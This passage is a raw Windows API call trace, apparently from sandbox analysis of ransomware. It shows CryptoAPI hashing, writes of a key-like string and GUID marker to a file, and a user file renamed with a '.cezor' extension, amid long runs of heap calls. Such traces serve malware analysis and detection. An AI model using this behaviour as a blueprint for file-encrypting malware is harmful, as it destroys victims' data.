pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.051] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.051] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.051] GetLastError () returned 0x0 [0061.051] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.051] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.051] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.051] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0061.051] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.051] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.051] WriteFile (in: hFile=0x5c4, lpBuffer=0x301db48*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x301db48*, lpNumberOfBytesWritten=0x9aafb24*=0x80, lpOverlapped=0x0) returned 1 [0061.051] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.051] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.051] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0061.051] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.052] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.052] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.052] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0061.052] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.052] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.052] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.052] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.052] CloseHandle (hObject=0x5c4) returned 1 [0061.052] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee788 [0061.052] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0061.052] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee788 | out: hHeap=0x670000) returned 1 [0061.053] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.cezor")) returned 1 [0061.053] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.053] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0061.054] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0061.054] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0061.054] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ebc8 [0061.054] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.061] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.061] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.061] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.061] HeapFree (in: hHeap=0x670000, 